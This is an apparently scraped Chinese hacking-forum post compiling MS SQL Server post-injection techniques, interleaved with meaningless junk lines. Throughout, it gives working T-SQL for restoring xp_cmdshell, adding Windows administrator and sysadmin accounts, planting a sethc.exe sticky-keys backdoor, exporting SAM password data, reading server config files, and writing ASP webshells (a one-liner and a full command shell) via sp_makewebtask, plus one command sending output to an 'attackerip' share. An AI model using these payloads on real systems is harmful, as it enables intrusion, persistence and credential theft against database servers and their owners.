中国网络渗透测试联盟
标题:
XP_CMDSHELL恢复方法大全
[打印本页]
作者:
admin
时间:
2012-9-15 14:37
标题:
XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
8 \$ ?- Y0 `* N& K
恢复方法:查询分离器连接后,
+ U! l8 A& n7 G+ y
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
1 k( z0 {* u* g! g
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
& B4 _6 j" m7 W) y1 M; s& Y
然后按F5键命令执行完毕
# y. ~+ U% v4 N$ s5 ~
1 W3 w9 H9 c4 h; [8 M
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
# o% q6 v5 j. V" _( O! k
恢复方法:查询分离器连接后,
% v" g% m7 R. {. q) u T) o
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
' J& |3 ~2 P; o
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. ?9 \0 Y! w% u5 R7 C6 Y% ^
然后按F5键命令执行完毕
# ]; f5 G. g) D/ P( i$ S% I
/ V0 G% N) c, n: o9 p/ L
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
2 s* t/ G: c. X! j2 }0 q: L1 t* F2 @, F
恢复方法:查询分离器连接后,
: c" b! w' D: L& t \: y
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
+ G/ w$ h7 H% j" p: z* X
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
b) _3 U/ r5 F! }: I* p6 `
然后按F5键命令执行完毕
1 b6 \4 X, s; W3 c3 ~4 r/ P
9 A. \, _$ r% a5 A$ n5 J' T( l
4 终极方法.
7 V! C9 y8 E* q! c8 E4 c; |! q$ d
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
# r" S! G; V5 c
查询分离器连接后,
* ^) X6 P4 p2 d2 V6 F/ |7 X' ]
2000servser系统:
6 g3 l$ Z" h+ Q, z
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
; V( J2 c0 o5 x$ d* o" C) P0 N
" R- l" s9 |2 |2 K: z( ]$ O8 n
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
" h; R8 V' ~; E3 S
. ^0 N1 V" E- w r. T* P
xp或2003server系统:
& t% K1 X9 J' t, x
' i3 y8 w' E H j* P
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
0 T6 S8 c* D3 l) I
7 c9 _ ?4 M5 }9 t6 [# j$ M& d
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
B$ P# U& _' V0 y0 {0 q3 ~! x) q
# u) G6 s9 j& f1 }: C. P
( t4 L+ k$ k+ O- x7 H: @) V1 L
五个SHIFT
, N( i4 l- X) X; O8 Z
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
! |$ u, g2 K& m' s1 t Y8 |, L& K
6 R+ k- n0 s2 m0 A( i
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
- Z( d, G6 d7 f
+ g( k5 V9 @# J$ W3 F' F+ v9 }: A
xp_cmdshell执行命令另一种方法
( }0 S. c% u2 s' G
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
3 r" F) D ~# j$ T4 ^
4 n9 `: g. B9 H2 \" w
判断存储扩展是否存在
( Q) f( A4 _( J+ q2 w
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
4 c* q+ u$ U* ]2 K+ l* ?+ ]* J b
返回结果为1就OK
" i6 U8 t5 J; `
8 |' Q( A u# }$ \( W& T6 X8 g3 i3 u. O2 q
. x* G) J5 x+ V3 n4 i
上传xplog70.dll恢复xp_cmdshell语句:
+ a# V3 W! R( E6 E w9 m& w% R+ @
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
3 r+ b. b- P+ x! O6 r! I6 {) `9 l
7 u; k) ?# M1 h8 s3 s0 ~' x
否则上传xplog7.0.dll
/ e& Z& Q9 y/ p, _) l- a6 G
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
8 A% o& C1 h6 [
. M& B; n# e3 u2 t1 w9 b% o0 {8 V
& g+ l; W t0 e' B. ~2 ~
" e7 J6 z- E3 i$ }3 r+ k7 P3 X( ` k
首先开启沙盘模式:
2 A3 _! G* g, d4 \9 t
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
% b4 f4 \* d! ]" i7 I2 U) v8 ]
$ N9 A; l2 f& L) L) V5 |. c9 ]
然后利用jet.oledb执行系统命令
7 J! m9 e* _) w
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
+ j! I' t; G. T3 B, }0 D
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
$ i; O8 R, N* z5 @! ?
! c) I$ i' p( q5 x+ C
2 j6 A) S& z5 r2 M
@* ^9 |1 Y; P) {: R
恢复过程sp_addextendedproc 如下:
+ F9 T" R% J& z5 x
create procedure sp_addextendedproc --- 1996/08/30 20:13
! o- H, o1 o9 I9 }) ?2 ]% ~4 u& Z
@functname nvarchar(517),/* (owner.)name of function to call */
y. {" S! F% V, a o
@dllname varchar(255)/* name of DLL containing function */
+ m7 p& I/ A: W: Q& i
as
: ^5 M& @: W7 n) j9 X* w% r
set implicit_transactions off
0 D4 ] m( f e/ W" {! o4 |
if @@trancount > 0
* H: |& ?$ s% b1 v6 u
begin
: @1 M8 u; ]7 S
raiserror(15002,-1,-1,'sp_addextendedproc')
* U( @1 X$ W' Z7 b
return (1)
+ x, i* \1 C* s$ W6 L
end
+ A, r6 C2 M5 F6 E/ E; s& v/ q
dbcc addextendedproc( @functname, @dllname)
+ _7 u& f) s6 K5 h
return (0) -- sp_addextendedproc
) H R8 C P0 W3 a F6 U
GO
- h! u1 `" L0 E7 { _( C' W! o
" I. U: Z4 B" _8 E X( }8 W7 G) N" S
6 u }- O3 d+ F
4 }; _0 A3 M4 q
导出管理员密码文件
4 K7 K# x; [, a
sa默认可以读sam键.应该。
5 z% X$ i8 p+ I/ R/ { ]
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
7 s; l7 c! C$ u+ X' Q
net user administrator test
; b j1 o7 \! r, O
用administrator登陆.
# c9 J" H' T1 y4 x
用完机器后
, x) \" f& B# c7 `
reg import c:\test.reg
+ Q8 Z! Z3 K l3 N
根本不用克隆.
) _* r! }4 `0 \0 Y. w7 C
找到对应的sid.
/ F/ e! T" }, S% J5 w x8 @
4 n6 o* z) v# I0 a8 L
3 f6 z4 j6 L5 W" I" k8 i; d
+ l; Y' S x' Q& T& X' l; ^6 w4 I
恢复所有存储过程
# L$ R ~) ^% N h3 [2 M
use master
5 F! x' F/ N6 t# r
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
; y' \# w0 f# Z; n' d% ~- A" h' p
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
* i$ r+ X9 z- r4 ^1 H$ L4 r
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
0 s% P6 F: I% n2 X L. L
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
( e1 p- W; Y+ Y2 O5 E
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
" Y/ C: x$ `5 E8 B: a4 ^7 T2 G
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
2 M; n; \, C; C6 V
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
: C* o7 V8 b# S- Z; ?: ]. f
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
m1 }+ } [- S5 c5 x7 S4 Y
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
) m' X" p+ n5 N; {5 ?5 W
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
* z6 ^' H2 l0 l3 m; q. {8 T
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
8 H) r; G, K6 x: Z0 [! C. v: W
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
; h' A0 P, a. p9 B
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
1 x! y8 ?* C/ @) [
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
% v( k0 T% \4 n
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
. u- U# p8 A0 t- N+ j
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
G& L9 N8 m0 l( r p
exec sp_addextendedproc xp_regread,'xpstar.dll'
5 M; j1 C: ?7 l5 b/ e6 ?: l) L
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
+ K F7 b; l( h% R* Y- j/ F
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
7 [4 m6 ^9 e$ m: A3 [/ {# w
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
& I2 B/ k1 y2 B* K: S
* F6 _! Z# U5 y) z4 f
; E' _( U( M: L2 E* U; N8 J; Q& H0 j
建立读文件的存储过程
3 B( J) \+ y+ }( f% x" y
Create proc sp_readTextFile @filename sysname
3 W# r8 [# Z9 {! H
as
& ~+ I0 |. U- X5 g# A
& P H# C! B5 K& W7 |
begin
( ~9 @3 O( c: |# F% j8 e8 _+ I9 d7 w
set nocount on
% Z8 K: [3 _$ H$ p% U$ a3 b/ L
Create table #tempfile (line varchar(8000))
, \ ~7 O$ t# L3 \
exec ('bulk insert #tempfile from "' + @filename + '"')
. _* r+ ^5 p, {7 d
select * from #tempfile
! n0 Y* l+ {5 h4 p7 [, |2 x
drop table #tempfile
/ p- X* g! ?9 R! G" B4 P
End
8 [2 `# j- S% z6 m- N4 ]7 @# U4 E
; Z; t/ _6 n& Y6 U* H( ~ U1 ?% t
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
, s. F2 h! I7 p( ~9 _
查看登录用户
. u9 R. P' ?3 y$ D2 Z" X. j
Select * from sysxlogins
" d* y; i1 M8 Q3 d
9 s: z2 d* S1 L3 L- R2 H
把文件内容读取到表中
1 ~1 [0 C3 e) Q
BULK INSERT tmp from "c:\test.txt"
) a- P- O: W! Z2 {# g6 O* u+ W
dElete from 表名 清理表里的内容
( A: W; Y1 l) C1 R
create table b_test(fn nvarchar(4000));建一个表,字段为fn
; P4 l B9 d- t- e# n/ R
$ j# s2 m3 H4 B4 ~& }- v% Y
4 n+ X/ y: F% [" F$ \
加sa用户
, a7 b6 k+ Z( A" ]# j1 F
exec master.dbo.sp_addlogin user,pass;
% J3 o$ |& r4 g( p3 u* k* g' e
exec master.dbo.sp_addsrvrolemember user,sysadmin
$ ]! u4 J2 d% C; a8 x
. N$ @3 \3 [6 a9 z2 k$ @2 i
0 R( s! |4 z; K
, {% b0 B+ L# V9 v1 j2 Q- ^. f6 h
读文件代码
* G& k" c2 C, b8 U. g, B
declare @o int, @f int, @t int, @ret int
: r) C# p" X8 O, s3 A$ |
declare @line varchar(8000)
* g+ F7 h% i; }2 U, K7 x9 s Q/ ^, O; w1 h
exec sp_oacreate 'scripting.filesystemobject', @o out
, O; j1 I% o* S1 L7 v5 b
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
+ O2 g4 z2 J2 o
exec @ret = sp_oamethod @f, 'readline', @line out
; E0 ^$ R& X6 D9 d- H
while( @ret = 0 )
/ c' F9 k, v+ |, D7 V9 U
begin
: S6 u# a9 l9 g0 {# C
print @line
0 F, c0 I9 [" V/ P' k6 E
exec @ret = sp_oamethod @f, 'readline', @line out
$ A* X+ O; f, f) Q3 i
end
0 _3 |+ ]8 p+ p4 N N" x8 k
5 j: X/ n5 p% y! ?! n3 Q" I$ P
" l" m+ E% O# R: y+ v
写文件代码:
0 Z& z/ n. i& ~( f9 Q, Y. t, ^& k
declare @o int, @f int, @t int, @ret int
7 I3 b' j* R& g2 c# S
exec sp_oacreate 'scripting.filesystemobject', @o out
( R, j, n8 o' B7 A
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
6 p$ h/ C s J9 f# r( W2 Y; A2 L" k
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
+ e- H. R1 h i: a5 ?
8 s+ A8 A# f9 M; ]4 v$ z/ _5 v# b
# M2 Q; A6 B P: Y4 q$ U4 @% b
添加lake2 shell
6 Y( Y* {. L( z
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
6 W5 F' X9 B6 W D9 g
sp_dropextendedproc xp_lake2
4 U+ `; N* n' p) m+ q# ~0 g
EXEC xp_lake2 'net user'
' R5 [9 u3 D2 [4 X
7 n; Q7 W9 r4 A( n
2 K! B8 L. v# W* f- t( ^$ E
得到硬盘文件信息
$ o! q& I4 ~# X5 A
--参数说明:目录名,目录深度,是否显示文件
9 ^4 K; W$ j- A/ ?0 } L
execute master..xp_dirtree 'c:'
8 s0 c1 {% k: \, P" X
execute master..xp_dirtree 'c:',1
: I5 q% ^. O s- x" z
execute master..xp_dirtree 'c:',1,1
' A$ Q' ]- z4 L4 g. }: ?! G/ @. g
& F" Z0 o `" z$ j% G
- z* N& O% O, H. {" O" T
读serv-u配置信息
* x# L' u& J: z/ H
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
* U- Z# h: T( ^# Y5 c
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
: \) ]4 D. R: _
8 _' E' \1 b+ T. r+ P
通过xp_regwrite写SHIFT后门
7 b! q: T: U( H. C
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
0 \* O+ ~* h, ?; z, K* y6 k- [
+ S. u" n+ }. t9 \
3 d- s2 _$ B* ?1 Q$ O y
2 }/ r' J3 v k1 w' D; b# e. L
找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\
www.xx.com
';
4 n/ j, W, r1 t3 E9 R0 ^
exec sp_makewebtask 'd:\web\
www.XXXX.com
\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
) U* D9 E8 U* u# T! i n; b& ^
; L7 z. u- Q8 a3 d
EXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
# }$ n/ s/ v4 [
3 I& j& `% N) Y
, W- A e* r4 j5 h. c
& v2 M2 L( T2 F O* ?: z
sql server 2005下开启xp_cmdshell的办法
6 O% X4 {- X- Z: }
) @& G" L' h( b( v
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
) c: m c8 c/ t$ R: G6 v
: |* V6 {) I% x- @+ {
SQL2005开启'OPENROWSET'支持的方法:
* {' F1 M! d" d: t* q W
/ r! h( Q& }( ~# V5 R
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
. D$ Z1 D% ~* l w- s3 e3 b. T1 B
+ V$ {! U' x W0 a( x6 W) @: a
SQL2005开启'sp_oacreate'支持的方法:
8 l( K6 G2 B' Y+ H
% }1 B0 J$ r8 R8 J5 v0 H
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
& u0 F6 L, X- y4 m
4 W! ~: v. K/ V3 T( m, b; j
3 B% S3 q6 @- B1 h/ `
* U7 F) Z) m; A' S+ N
: b0 x/ P3 x* {& z5 Z+ a" F
% d5 C D- i$ c: f3 H7 Z5 c
; l* T- X* f8 U J8 s* B% F
( j9 y: u+ J+ u- ^: R
5 ~; b6 T( @7 L, A1 i% `/ v0 s
9 B# {0 K6 |! y9 H0 T/ H4 o( {* ~
2 @4 E8 o6 v& n0 |1 q: V: e
4 ?& W9 w C) `6 a8 |7 |4 d
! Y2 C# w3 o4 Y. o
4 W6 y8 T) P; |& S; b; v0 n
( ]; C' L, d6 z4 P+ t$ r
: I% d( B% y- o
' v) e* ]- {! b3 \" z ~3 [
& \4 r7 ]. b6 N+ m2 D: o
9 `: ~) j) c! B, D2 C1 ]
/ [- t; ^, F2 P
+ v% N2 V1 W) l
$ J r( f# _$ D! w* M
6 [# D: g5 R: s! Y: n8 Q
0 K+ G- ?: u3 \" l- j0 h, Q. w
: _8 E" g! K! C) L% [
以下方面不知道能不能成功暂且留下研究哈:
- O0 w+ v* r, y7 x
4)
& S! L& c, q% ^. ], o ?" C4 c
use msdb; --这儿不要是master哟
9 W& L- h' q- _1 H. Y
exec sp_add_job @job_name= czy82 ;
2 _" P, D* t8 F: M$ M( ]
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
# R+ j8 l/ Q- s+ C
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
: ]8 ?7 O4 S& }- _- n
exec sp_start_job @job_name= czy82 ;
' r, U# ?& N4 D
i. ?; x; P, P, R& r: A8 t
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
( C. A! e( |5 G) V' C& p
执行tsql语句了.
) b' w# G' v; i. z1 {9 M& P
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
7 R$ y% M) ~1 ]! }2 y0 t; Y
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
% d, q7 o8 T6 y7 Z+ i: E
net start SQLSERVERAGENT
! s N* W q; u& G- D0 |2 c
8 A0 c; V7 a( O9 L; C$ p1 ^
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
; v6 T) {, W7 x( \- q) N
USE msdb
0 a+ P" N# U9 ?" l8 I8 l
EXEC sp_add_job @job_name = GetSystemOnSQL ,
0 c& [9 a. g- @4 @# h; J. a& \
@enabled = 1,
5 h v& y; g6 z5 A# O; j6 I
@description = This will give a low privileged user access to
2 ^( }- Z1 B2 h$ ~& c. @: ?4 l
xp_cmdshell ,
: Z" e1 L3 f- j. U
@delete_level = 1
" k$ v: R; j9 t* p3 f
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
# I# {+ M/ r- W$ h/ b
@step_name = Exec my sql ,
' L1 o* c+ N5 i0 ~4 `+ O0 S9 g
@subsystem = TSQL ,
9 C8 h! u$ o/ ]0 |2 V0 b
@command = exec master..xp_execresultset N select exec
+ E) d. N+ ~# }" k5 M; r8 a
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
* Z0 d) X* V& N0 Y' J# H5 e
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
- K5 m8 [% k8 m0 ]0 ]0 p! J# s0 |0 p5 `
@server_name = 你的SQL的服务器名
; I3 i4 \7 q$ H
EXEC sp_start_job @job_name = GetSystemOnSQL
, n3 b: P" r. \
1 [2 t8 v* o+ q3 U
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
m7 S; Z3 _$ v, r& N
才让我们可以以public执行xp_cmdshell
V" d# j8 k# _& @3 `. W A6 Z$ `
5 A p7 F4 i* O
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
! s( r7 [- r1 K" N }! u( r+ d
在安焦有文章:
http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
) O+ w' r& @' j6 k
6 N4 P+ o$ ~! h7 v. K
USE msdb
. T" B% @/ y& X( [$ L: w4 s; y
EXEC sp_add_job @job_name = ArbitraryFilecreate ,
2 Z- {4 v" @& | I
@enabled = 1,
: S3 Z! J. V" @2 l8 l8 t# t
@description = This will create a file called c:\sqlafc123.txt ,
. \9 x6 I3 o0 v, m6 r
@delete_level = 1
2 O6 {( n5 |3 ~) I2 b1 P
EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
3 I5 _ o7 A% _
@step_name = SQLAFC ,
6 h+ x, y4 e6 c" I" w! m/ m0 }6 V
@subsystem = TSQL ,
- M7 C& s/ X; N* P( e ~& v# k
@command = select hello, this file was created by the SQL Agent. ,
5 r4 s8 s. f2 i. r8 |
@output_file_name = c:\sqlafc123.txt
a3 F9 O* g! c
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
# ^, Z0 ~2 e4 l, q
@server_name = SERVER_NAME
! \0 z& F0 o5 L' F
EXEC sp_start_job @job_name = ArbitraryFilecreate
& r* j8 q4 {6 H! t+ Y* V
9 `1 Y( y' l; k, T. [3 d9 C& C8 v6 `
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
/ k2 S0 x/ k2 T& }) _
% y& Z7 S, { X) W( Z
??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
/ B5 H( y5 S, w% s, {# e8 b
----------------------------------------------
! R1 W3 u$ ?$ ]$ n2 Y$ e
hello, this file was created by the SQL Agent.
8 W6 ^% g0 Q: M! X7 @
% t' ?3 v5 t" l9 {
(1 ?????)
+ \$ ]/ E6 D: }4 |! Z
) _' T/ g! F; I
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
2 W4 T; S O0 ?3 U. R9 h$ P
命令的vbs文件到启动目录!
* ]& J$ c5 g' o; d$ T8 v. X( ]
1 T/ i6 o/ k5 `" b2 y% L
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
2 F' w: T* I( t; ]
关于sp_MScopyscriptfile 看下面的例子
- V9 Q' M( z3 Y2 H9 ?4 _7 D! d
declare @command varchar(100)
, ?: A$ u6 T1 F
declare @scripfile varchar(200)
/ g5 W' i2 E4 K# p5 s/ q
set concat_null_yields_null off
j+ c1 A; A# `) Z7 h& b
select @command= dir c:\ > "\\attackerip\share\dir.txt"
/ K+ Q- H* q0 h3 N- F+ |
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
+ p: T) Y$ p9 g, m. _
exec sp_MScopyscriptfile @scripfile ,
1 U& {/ F" d R) d4 L. V
2 o; E1 d) n& k7 t
这两个东东都还在测试试哟
7 [$ H& ^0 n/ m" k/ e" B
让MSSQL的public用户得到一个本机的web shell
1 ~* i4 a7 k" O5 `9 l( p
, j, u' a1 w( |# g6 j0 x* h2 d
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
* K' X, A6 w! i8 K: e. w! I1 v
--@query= select <img src=vbscript:msgbox(now())>
! m& E) B; t% _) q8 L
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
/ [5 v! M/ o" Z( v3 }' P4 Q! o
@query= select
+ G; ~9 n( G$ O* T( J5 ]
<%On Error Resume Next
% y/ [+ ^, u+ x' x: V2 }6 W5 s
Set oscript = Server.createObject("wscript.SHELL")
8 Y/ X( U n4 k
Set oscriptNet = Server.createObject("wscript.NETWORK")
* E" {9 z- q5 r, w3 X; |
Set oFileSys = Server.createObject("scripting.FileSystemObject")
) F7 a. d" {! L" D$ [) ^; p
szCMD = Request.Form(".CMD")
; p+ Q( I( j1 n6 G d6 t j) f
If (szCMD <>"")Then
' v' {: }" b% x% o+ D2 S, K
szTempFile = "C:\" & oFileSys.GetTempName()
6 K! U1 V/ N& ^ ~9 C6 L
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
* o7 U, ^" n" G5 ^
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
/ Y0 s! z7 W) |1 `* ?1 V: c
End If %>
; \1 [" D( S+ B) i
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="
OST">
$ Y3 E2 b: }3 S. }4 P; Z
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
8 P9 ]$ U1 g. ^% D8 I/ D/ \
</FORM><
RE>
' @# \5 c! E0 {1 Y! i
<% If (IsObject(oFile))Then
0 e% [9 l, |1 _. ^
On Error Resume Next
6 K- \3 X9 z: C6 O* C9 R
Response.Write Server.HTMLEncode(oFile.ReadAll)
* t- i( L5 h) k; G" v3 `" T
oFile.Close
9 Z1 Y$ Q4 A4 D% R
Call oFileSys.deleteFile(szTempFile, True)
@* S6 R, k) c9 U: R
End If%>
8 H/ A% K& O5 p
</BODY></HTML>
* ]( ^- t t8 {& z; M6 L) i
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2